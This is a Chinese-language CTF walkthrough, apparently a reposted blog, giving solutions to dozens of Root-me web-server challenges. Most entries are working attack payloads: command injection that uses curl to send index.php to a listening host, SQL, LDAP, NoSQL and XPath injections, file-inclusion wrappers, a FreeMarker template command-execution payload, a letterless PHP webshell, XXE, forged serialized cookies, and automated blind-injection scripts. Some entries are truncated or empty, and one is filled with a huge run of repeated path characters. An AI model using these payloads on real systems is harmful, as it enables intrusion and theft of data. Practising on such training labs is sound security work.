root-me WEB-SERVER


Root-me Web-server

1.HTML

[+]URL: http://challenge01.root-me.org/web-serveur/ch1/
[+]Statement:找到flag
[+]Solution:flag在源碼里,F12即可

2.HTTP - Open redirect

[+]URL:http://challenge01.root-me.org/web-serveur/ch52/
[+]Statement:找到一種方法把網頁定向到其他網站
[+]Solution:修改url里get的網站名,並計算其md5值
[+]Payload:/web-serveur/ch52/?url=https://www.baidu.com&h=f9751de431104b125f48dd79cc55822a

3.Command injection

[+]URL:http://challenge01.root-me.org/web-serveur/ch54/
[+]Statement:找到漏洞並利用,flag在index.php里
[+]Solution:典型的命令注入漏洞,利用;分割命令,使用cat打印源碼,再用F12查看
[+]Payload:127.0.0.1;cat index.php

4.Weak password

[+]URL:http://challenge01.root-me.org/web-serveur/ch3/
[+]Solution:標題提示弱密碼,賬戶admin,密碼admin,登錄成功

5.User-agent

[+]URL:http://challenge01.root-me.org/web-serveur/ch2/
[+]Solution:修改User-agent為admin

6.Backup file

[+]URL:http://challenge01.root-me.org/web-serveur/ch11/
[+]Solution:輸入index.php~即可下載源碼

7.HTTP - POST

[+]URL:http://challenge01.root-me.org/web-serveur/ch56/
[+]Statement:想辦法打敗最高分
[+]Solution:用bp修改數據包,把score參數的值修改到大於999999即可

8.HTTP directory indexing

[+]URL:http://challenge01.root-me.org/web-serveur/ch4/
[+]Solution:在源碼里發現存在文件admin/pass.html,輸入payload:admin可以列出目錄,在backup的admin.txt到到flag

9.HTTP Headers

[+]URL:http://challenge01.root-me.org/web-serveur/ch5/
[+]Statement:獲得 administrator用戶權限
[+]Solution:在服務器的返回頭里發現Header-RootMe-Admin: none,於是在請求里加上Header-RootMe-Admin:administrator,得到flag

10.HTTP verb tampering

[+]URL:http://challenge01.root-me.org/web-serveur/ch8/
[+]Solution:篡改HTTP請求,換成OPTIONS即可繞過

11.Install files

[+]URL:http://challenge01.root-me.org/web-serveur/ch6/
[+]Solution:題目提示PHPBB和installfiles,查看PHPBB源碼得知PHPBB的安裝路徑為/install/install.php。輸入此路徑得到flag。此漏洞提示我們安裝完CMS后記得刪除安裝文件

12.Improper redirect

[+]URL:http://challenge01.root-me.org/web-serveur/ch32/
[+]Solution:使用BP抓包可以看到get上面的URL時返回的數據包里有flag。此漏洞提醒在使用PHP里的header(‘Location:…’)函數后需要使用exit(),不然php會繼續執行后面的代碼,可能會造成信息泄漏

13.CRLF

[+]URL:http://challenge01.root-me.org/web-serveur/ch14/
[+]Statement:注入錯誤的數據到日志中
[+]Solution:頁面顯示的日志中存在認證失敗和認證成功兩種信息。通過使用CRLF注入,在username參數的位置注入一個%0d%0a,偽造出一個認證成功的信息
[+]Payload:username=admin authenticated.%0D%0Aadmin&password=123

14.File upload - double extensions

[+]URL:http://challenge01.root-me.org/web-serveur/ch20/
[+]Statement:目標是上傳php代碼,查看應用根目錄的.passwd文件
[+]Solution:在 /?galerie=upload處可以上傳文件,直接上傳php文件會被攔截。使用bp上傳一句話木馬,並把文件名改為1.php.jpg,測試發現web服務器可以解析該文件,通過執行系統命令可以看到.passwd的內容

15.File upload - MIME type

[+]URL:http://challenge01.root-me.org/web-serveur/ch21/
[+]Statement:同上
[+]Solution:同上面一樣上傳文件,並在BP中把數據包的MIME類型修改為image/png,上傳成功。

16.HTTP cookies

[+]URL:http://challenge01.root-me.org/web-serveur/ch7/
[+]Solution:在網頁的源碼中看見了提示SetCookie(‘ch7,’visiteur’’),結合頁面的提示,在請求頭中加上Cookie:ch7=admin,獲得flag

17.Directory traversal

[+]URL:http://challenge01.root-me.org/web-serveur/ch15/ch15.php
[+]Solution:目錄穿越漏洞,輸入payload:?galerie=/,可列出galerie目錄下的文件列表,接着輸入payload:?galerie=/86hwnX2r/,可以看到password.txt。訪問這個文件,得到flag

18.File upload - null byte

[+]URL:http://challenge01.root-me.org/web-serveur/ch22/
[+]Solution:同樣是文件上傳漏洞,這里是00截斷,需要把filename改成1.php%00.jpg,同時需要修改MIMIE類型。

19.PHP assert()

[+]URL:http://challenge01.root-me.org/web-serveur/ch47/
[+]Statement:Find and exploit the vulnerability to read the file .passwd.
[+]Solution:提供錯誤的page參數,根據回顯的assert函數的結果,可以進行拼接執行命令。
[+]payload:?page=%27,%27..%27)%20===%20false%20and%20system(%27cat%20.passwd%27)%20and%20strpos(%27

20.PHP filters

[+]URL:http://challenge01.root-me.org/web-serveur/ch12/
[+]Statement:找到administrator用戶的密碼
[+]Solution:通過報錯發現使用了include函數,此處有文件包含漏洞,使用file://etc/passwd,發現不能包含遠程文件。使用php協議進行本地文件包含
[+]Payload:

接着使用如下命令壓縮這個符號鏈接。

1
zip --symlinks index.zip index.txt

上傳這個zip文件,再訪問index.txt,即可讀到服務器上的index.php

23.Command injection - Filter bypass

[+]URL:http://challenge01.root-me.org/web-serveur/ch53/
[+]Statement:找到漏洞並利用,她有一些保護。flag在index.php里
[+]Solution:同樣的命令注入,發現過濾掉了一些符號,同時命令的運行結果不會返回,經過測試發現 - 沒有被過濾,但 | < > ; \ ` & 等符號被過濾掉了,但是仍然可以用%0a注入新的命令,另外反彈shell不太能實現,選擇使用curl上傳文件的方法讀文件。
先在vps上監聽

1
nc -lvv 9999

接着執行payload如下,可以讀到index.php
[+]Payload:127.0.0.1%0acurl -F ‘filename=@index.php’ HOST_ADDRESS:9999

24.Local File Inclusion

[+]URL:http://challenge01.root-me.org/web-serveur/ch16/
[+]Statement:獲得Admin的部分
[+]Solution:該服務器是一個明顯的本地文件包含,結合提示構造url讀取admin下的index.php
[+]Payload:http://challenge01.root-me.org/web-serveur/ch16/?files=crypto&f=../../admin/index.php

25.Local File Inclusion - Double encoding

[+]URL:http://challenge01.root-me.org/web-serveur/ch45/
[+]Statement:在網站的源碼里找到認證密碼
[+]Solution:在URL里發現是一個文件包含。直接使用php://filter/…會發現被攔截了。根據提示,進行url編碼,編碼一次還是會被攔截,當編碼兩次時成功繞過。此處需要注意的是,使用在線的或者是python等urlencode的api時,它不會編碼 . ,需要手動把.編碼成%2e,才能繞過。通過查看源碼,可以找到存在密碼的config.inc.php
[+]Payload:

  • php%253A%252F%252Ffilter%252Fconvert%252Ebase64%252Dencode%252Fresource%253Dcv
  • php%253A%252F%252Ffilter%252Fconvert%252Ebase64%252Dencode%252Fresource%253Dconf

    26.PHP - Loose Comparison

    [+]URL:http://challenge01.root-me.org/web-serveur/ch55/
    [+]Solution:頁面可以查看源碼。代碼的邏輯是傳入兩個字母和數字組成的字符串,第一個字符串和一個隨機數拼接,要求和第二個參數的md5值相等。題目使用==來判斷。==在兩者的類型不同時先轉換類型為相同再比較,如果有數字類型的就會按數字類型轉換。根據題目構造payload,即可獲得flag
    [+]Payload:s=0e242&h=240610708&submit=Check

    27.PHP preg_replace()

    [+]URL:http://challenge01.root-me.org/web-serveur/ch37/index.php
    [+]Statement:讀flag.php
    [+]Solution:經過測試發現頁面的三個輸入點分別對應preg_replace的三個參數,利用preg_replace在第一個參數有/e的標示下,當滿足匹配時會把第二個參數當作代碼執行,因此構造payload可以讀文件
    [+]Payload:search=/a/e&replace=file_get_contents(‘flag.php’)&content=a

    28.PHP type juggling

    [+]URL:http://challenge01.root-me.org/web-serveur/ch44/
    [+]Solution:可以看到源碼,頁面的邏輯是需要滿足$auth[‘data’][‘login’] == $USER && !strcmp($auth[‘data’][‘password’]。同樣是兩個弱類型比較,第一個只需要滿足值為0或者為true,即可繞過,strcmp需要使傳入的參數為不含有字母的數組,即可繞過。
    [+]Payload:auth=%7B%22data%22%3A%7B%22login%22%3A0%2C%22password%22%3A[122]%7D%7D

    29.Remote File Inclusion

    [+]URL:http://challenge01.root-me.org/web-serveur/ch13/
    [+]Statement:獲取PHP源代碼
    [+]Solution:測試發現有文件包含,且開啟了allow_url_fopen和allow_url_include,即可以實現遠程文件包含。由於在代碼執行時,用戶的參數被加上了后綴,使用php://input或者是file://….不太好用,因此選擇使用data:text/plain,<?php … ?>進行文件包含,可以讀到源碼
    [+]Payload:?lang=data:text/plain,<?php echo file_get_contents(‘index.php’); ?>

    30.Server-side Template Injection

    [+]URL:http://challenge01.root-me.org/web-serveur/ch41/
    [+]Statement:JAVA EE。利用漏洞獲得SECRET_FLAG.txt中的密碼。
    [+]Solution:根據提示,得知服務器使用的中間件為JAVAEE,查詢資料得知FreeMarker為java下最受歡迎的模版引擎,利用其格式在輸入點輸入${3*3},發現被渲染成了9。利用FreeMarker的一個可以用來執行命令的類構造出如下payload,即可查看flag內容。
    [+]Payload:nickname=<#assign ex=”freemarker.template.utility.Execute”?new()> ${ ex(“cat SECRET_FLAG.txt”) }

    31.SQL injection - authentication

    [+]URL:http://challenge01.root-me.org/web-serveur/ch9/
    [+]Statement:獲取管理員的密碼
    [+]Solution:無任何過濾的注入,通過order by參數可以控制登錄的用戶,審查元素獲得密碼
    [+]Payload:login=123#&password=1’ or ‘1’=’1’ order by 1 –+

    32.SQL injection - authentication - GBK

    [+]URL:http://challenge01.root-me.org/web-serveur/ch42/
    [+]Statement:獲取管理員的密碼
    [+]Solution:根據題目判斷是寬字節注入,所以利用%df逃逸PHP函數的轉譯。
    [+]Payload:login=%bf’ or 1=1 – -&password=abc

    33.SQL injection - string

    [+]URL:http://challenge01.root-me.org/web-serveur/ch19/
    [+]Statment:獲取管理員密碼
    [+]Solution:測試網頁,發現在action=recherche頁面可以使用union函數注入,並且有回顯。一步步構造Payload獲取管理員密碼
    [+]Payload:
    1
    2
    3
    recherche=1' union select 1,name FROM sqlite_master where tpye='table'--+
    recherche=1' union select 1,sql FROM sqlite_master where type='table' --+
    recherche=1' union select username,password FROM users  --+

34.LDAP injection - authentication

[+]URL:http://challenge01.root-me.org/web-serveur/ch25/
[+]Statement:繞過驗證
[+]Solution:根據題目提示為LDAP注入,LDAP是一種輕量級目錄協議,主要用於資源查詢。輸入 username=)(%26&password=111發現頁面報錯,並給出了查詢的結構,根據給出查詢結構,構造Payload,即可繞過
[+]Payload:username=
)(|(userPassword=*&password=1)

35.NoSQL injection - authentication

[+]URL:http://challenge01.root-me.org/web-serveur/ch38/
[+]Statement:找到隱藏用戶的用戶名
[+]Solution:題目提示NoSQL注入,查詢資料了解mongodb的基本命令和注入方法。了解到$ne為!=符號,構造payload可以形成重言式注入。構造Payload如下:

1
login[$ne]=123&pass[$ne]=123

它在服務器端會被解釋為{‘login’=>{‘$ne’=>’123’},’pass’=>{‘$ne’=>’123’}},從單一目標查詢變成了條件查詢,形成永真式。此時頁面返回You are connected as:admin。並沒有給出flag。於是更改Payload如下:

1
login[$ne]=admin&pass[$ne]=123

頁面此時返回You are connected as:test。這個用戶也不是隱藏用戶。於是使用mongodb的正則表達式篩選非admin或者test用戶。Payload如下

1
login[$regex]=^[^(a|t)]&pass[$ne]=1

即可得到flag。

36.Path Truncation

[+]URL:http://challenge01.root-me.org/web-serveur/ch35/
[+]Statement:獲取進入管理員空間的方法
[+]Solution:根據提示得知是路徑截斷,結合PHP limit提示,查詢資料得知在

1
page=a/../admin.html/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

37.PHP Serialization

[+]URL:http://challenge01.root-me.org/web-serveur/ch28/
[+]Statement:獲取管理員的訪問權限
[+]Solution:可以看到源碼,分析源碼邏輯。最終目的是要使$_SESSION[‘login’]=admin。其中關鍵變量$data有兩種賦值方式,一種是通過傳入的POST參數賦值,另一種是從cookie里的autologin的值反序列化得到。下面的驗證邏輯是比較$data[‘password’]==$auth[$data[‘login’]],后者的值應該為一個字符串,而這里可以里用==的弱類型比較,使$data[‘password’]的值為true,即可繞過比較。因此構造php頁面如下

1
2
3
4
5
<?php
$data['login']='superadmin';
$data['password']=true;
echo(urlencode(serialize($data)));
?>

構造Cookie如下,並且去掉POST的兩個參數,即可繞過。
[+]Payload:Cookie:autologin=a%3A2%3A%7Bs%3A5%3A%22login%22%3Bs%3A10%3A%22superadmin%22%3Bs%3A8%3A%22password%22%3Bb%3A1%3B%7D

38.SQL injection - numeric

[+]URL:http://challenge01.root-me.org/web-serveur/ch18/
[+]Statement:獲取管理員的密碼
[+]Solution:當輸入1‘時,發現會報錯,提示存在\,判斷應該是加了waf過濾。根據題目提示,為數字型注入,因此不使用單雙引號進行注入。
[+]Payload:

1
2
action=news&news_id=4%20union%20select%201,name,sql%20from%20sqlite_master
action=news&news_id=4%20union%20select%201,username,password%20from%20users

39.SQL Injection - Routed

[+]URL:http://challenge01.root-me.org/web-serveur/ch49/
[+]Statement:找到管理員的密碼
[+]Solution:題目的意思為路由注入,也就跟二次注入差不多,查看頁面邏輯,第一個頁面怎么登錄都顯示賬戶或密碼錯誤,第二個頁面發現可以注入,當輸入’union select 1時,頁面的第二行數據顯示為1,根據提示,再在聯合查詢后跟一個子聯合查詢,並且使用16進制表示以繞過waf。由於直接查詢讀數我這里老出語法錯誤,因此我使用基於報錯的查詢方式構造Payload,一步步讀出密碼
[+]Payload:(需要16進制編碼)

1
2
3
'union select concat(0x7e,database(),0x7e),0 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="c_webserveur_49" ),0x7e),1)'--+
'union select concat(0x7e,database(),0x7e),0 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" ),0x7e),1)'--+
'union select concat(0x7e,database(),0x7e),0 or updatexml(1,concat(0x7e,(select concat_ws(':',login,password) from users limit 1),0x7e),1)'--+

40.PHP - Eval

[+]URL:http://challenge01.root-me.org/web-serveur/ch57/
[+]Statement:找到這個服務器的漏洞並利用。flag在.passwd文件中。
[+]Solution:題目給出了源碼,大致意思是需要構造一個沒有字母和反斜杠的webshell,之前看P總的文章里有詳細介紹無字母數字的webshell構造方法,利用位運算里的取反操作符~可以把漢字里某些字符變成字母,利用這個特性,構造出Payload,可構造出webshell。
[+]Payload:

1
input=$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);&2=system('cat .passwd')

41.XML External Entity

[+]URL:http://challenge01.root-me.org/web-serveur/ch29/
[+]Statement:獲取管理員的密碼
[+]Solution:題目考察XXE(外部實體注入),打開頁面是一個在線檢測網頁是不是合法的RSS格式的頁面,可以輸入文件的地址。於是在vps上創建一個xsl文件,在里面加入xxePayload,並加上合法的RSS文件格式,在W3CSchool可以找到。輸入網址,可以實現文件讀取。
[+]Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<rss version="2.0">
<channel>
  <title>&sp;</title>
  <link>https://www.w3schools.com</link>
  <description>Free web building tutorials</description>
  <item>
    <title>&sp;</title>
    <link>https://www.w3schools.com/xml/xml_rss.asp</link>
    <description>New RSS tutorial on W3Schools</description>
  </item>
  <item>
    <title>XML Tutorial</title>
    <link>https://www.w3schools.com/xml</link>
    <description>New XML tutorial on W3Schools</description>
  </item>
</channel>
</rss>

42.SQL Truncation

[+]URL:http://challenge01.root-me.org/web-serveur/ch36/
[+]Statement:找到進入管理員空間的方法
[+]Solution:利用sql截斷的特性。在頁面的源碼里給出了創建表的sql語句。可以看到用戶名只有12位,當我們注冊如下賬戶admin a時,mysql會默認截斷12位后的a,當服務器的配置不當時,我們此時就已經修改了admin的密碼。

43.XPath injection - authentication

[+]URL:http://challenge01.root-me.org/web-serveur/ch23/
[+]Statement:找到管理員的密碼
[+]Solution:Xpath類型的認證注入,構造永真式,同時根據member頁面顯示的管理員的用戶名,構造payload,獲取管理員權限
[+]Payload:username=John or ‘1’=’1&password=123

44.Local File Inclusion - Wrappers

[+]URL:http://challenge01.root-me.org/web-serveur/ch43/
[+]Statement:找到flag
[+]Solution:這是一個結合文件上傳、文件包含和偽協議的題。通過使用github上的zip文件上傳payload,繞過圖片類型檢測,並通過執行代碼里的show_source(‘index.php’),查看到源碼。但發現服務器禁止了外部命令執行的函數。通過列目錄,發現flag文件,再用show_source查看flag文件。
[+]Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
echo '<pre><?php
function get_allfiles($path,&$files)
{
    if(is_dir($path))
    {
        $dp = dir($path);
        while ($file = $dp ->read())
        {
            if($file !== "." && $file !== "..")
            {
                get_allfiles($path."/".$file, $files);
            }
        }
        $dp ->close();
    }
    if(is_file($path))
    {
        $files[] =  $path;
    }
}
function get_filenamesbydir($dir)
{
    $files =  array();
    get_allfiles($dir,$files);
    return $files;
}
$filenames = get_filenamesbydir("./");
//打印所有文件名,包括路徑
foreach ($filenames as $value)
{
    echo $value, PHP_EOL;
}
?></pre>
' > a.php;
zip payload.zip a.php;
mv payload.zip payload.jpg;
http://challenge01.root-me.org/web-serveur/ch43/index.php?page=zip://tmp/upload/3rqsJvyOk.jpg%23a

45.SQL injection - Error

[+]URL:http://challenge01.root-me.org/web-serveur/ch34/
[+]Statement:找到管理員的密碼
[+]Solution:頁面的第一個頁面無法注入。但第二個頁面的order參數可以注入。利用sqlmap可以注入出數據。
[+]Payload:action=contents&order=ASC,(SELECT (CASE WHEN (8970=8970) THEN 1 ELSE 1/(SELECT 0) END))

46.SQL injection - Insert

47.XSLT - Code execution

48.Java - Spring Boot

49.SQL injection - file reading

[+]URL:http://challenge01.root-me.org/web-serveur/ch31/
[+]Statement:找到管理員的密碼
[+]Solution:member頁面的id參數可以注入,使用union select可以讀到表里的member密碼。但是並不是正確的密碼。按照題目要求,需要讀文件。使用load_file()函數讀取,猜測文件路徑,最后確定為/challenge/web-serveur/ch31/index.php,這里因為單雙引號被過濾了,所以使用16進制表示。然后可以讀到index.php源碼。源碼里給出了從數據庫里的密碼到和輸入比較的字符串的解密函數,在本地利用這個函數計算出真實密碼值,另外注意到源碼里是輸入的sha1值等於這個值,所以在在線的sha1解密網站解密這個值,得到最終的密碼
[+]Payload:

1
http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=-1 union select load_file(0x2f6368616c6c656e67652f7765622d736572766575722f636833312f696e6465782e706870),2,3,4-- +

50.XPath injection - string

[+]URL:http://challenge01.root-me.org/web-serveur/ch27/
[+]Statement:獲取管理員密碼
[+]Solution:在member頁面可以注入,並且測試發現會出現輸入語句的報錯,構造payload可以讀到用戶名和密碼。一對一對測試可以找到管理員賬號。
[+]Payload:

1
2
') or ('1'='1
1' or '1'='1')]|//user/password[contains(.,'

51.NoSQL injection - blind

[+]URL:http://challenge01.root-me.org/web-serveur/ch48/
[+]Statement:這是一個web應用,找到nosqlblind的flag
[+]Solution:在name輸入nosqlblind,利用基於布爾類型的注入,使用regex一位一位的進行注入,最終可以得到flag。
[+]Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests,threading,queue,time,string
SHARE_Q=queue.Queue()
payload=""
next=False
class worker(threading.Thread):
def __init__(self,func):
threading.Thread.__init__(self)
self.func=func
def run(self):
self.func()
def scan():
global SHARE_Q
global payload
global next
if next==True:
next=False
return
url="http://challenge01.root-me.org/web-serveur/ch48/index.php?chall_name=nosqlblind&flag[$regex]=^({})"
while not SHARE_Q.empty():
i=SHARE_Q.get(timeout=1)
print('[url]:'+payload+i)
r=requests.get(url.format(payload+i))
if 'Yeah' in r.text:
payload+=i
print('[payload]:'+payload)
SHARE_Q.queue.clear()
next=True
SHARE_Q.task_done()
return
SHARE_Q.task_done()
def main():
global SHARE_Q
threads=[]
while True:
for i in string.printable[:-6]:
if i in '*.?+$^[](){}|\\/':
SHARE_Q.put('\\'+i)
else:
SHARE_Q.put(i)
for i in range(10):
thread=worker(scan)
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
SHARE_Q.join()
if __name__ == '__main__':
main()

52.SQL injection - Time based

[+]URL:http://challenge01.root-me.org/web-serveur/ch40/
[+]Statement:獲取管理員密碼
[+]Solution:在member頁面可以注入,根據提示只能時間注入,放在sqlmap里跑即可。
[+]Payload:

1
python sqlmap.py -u "http://challenge01.root-me.org/web-serveur/ch40/?action=member&member=1" -v3 -D public -T users --dump

53.SQL injection - blind

[+]URL:http://challenge01.root-me.org/web-serveur/ch10/
[+]Statement:獲得管理員密碼
[+]Solution:這個頁面注冊時可以注入登錄,因此可以利用基於boolen的注入一步步猜解出數據庫信息
[+]Payload:盲注腳本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import requests,string,threading,queue,time
url="http://challenge01.root-me.org/web-serveur/ch10/"
username=''
password=''
payload=''
next=False
class myThread(threading.Thread):
    """docstring for myThread"""
    def __init__(self, func,queue):
        super(myThread, self).__init__()
        self.func=func
        self.queue=queue
    def run(self):
        while True:
            data=self.queue.get()
            self.func(data)
            self.queue.task_done()
def work(data):
    i,j,k=data
    global next,payload
    #username="1' or substr((select sql FROM sqlite_master where type='table'),{},1)='{}' --+".format(j,i)
    username="1' or substr((select username||':'||password FROM  users limit {},1),{},1)='{}' --+".format(k,j,i)
    print(username)
    data={"username":username,"password":'1'}
    
    page = ''
    while page == '':
        try:
            page = requests.post(url,data=data)
            break
        except:
            print("Connection refused by the server..")
            print("Let me sleep for 5 seconds")
            print("ZZzzzz...")
            time.sleep(5)
            print("Was a nice sleep, now let me continue...")
            continue
    
    if 'Welcome' in page.text:
        payload+=i
        print(payload)
        next=True
q=queue.Queue(5)
for i in range(5):
        thread=myThread(work,q)
        thread.start()
        #threads.append(thread)
'''for j in range(1,100):
    if next==True:
        next=False
    for i in string.printable[:-5]:
        if next==False:
            q.put([i,j])
            #print("{} is put".format(j))
        else:
            next=False
            break
q.join()'''
for k in range(1,5):
    for j in range(1,100):
        if next==True:
            next=False
        for i in string.printable[:-5]:
            if next==False:
                q.put([i,j,k])
                #print("{} is put".format(j))
            else:
                next=False
                break
    q.jojn()

54.XPath injection - blind

[+]URL:http://challenge01.root-me.org/web-serveur/ch24/

 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM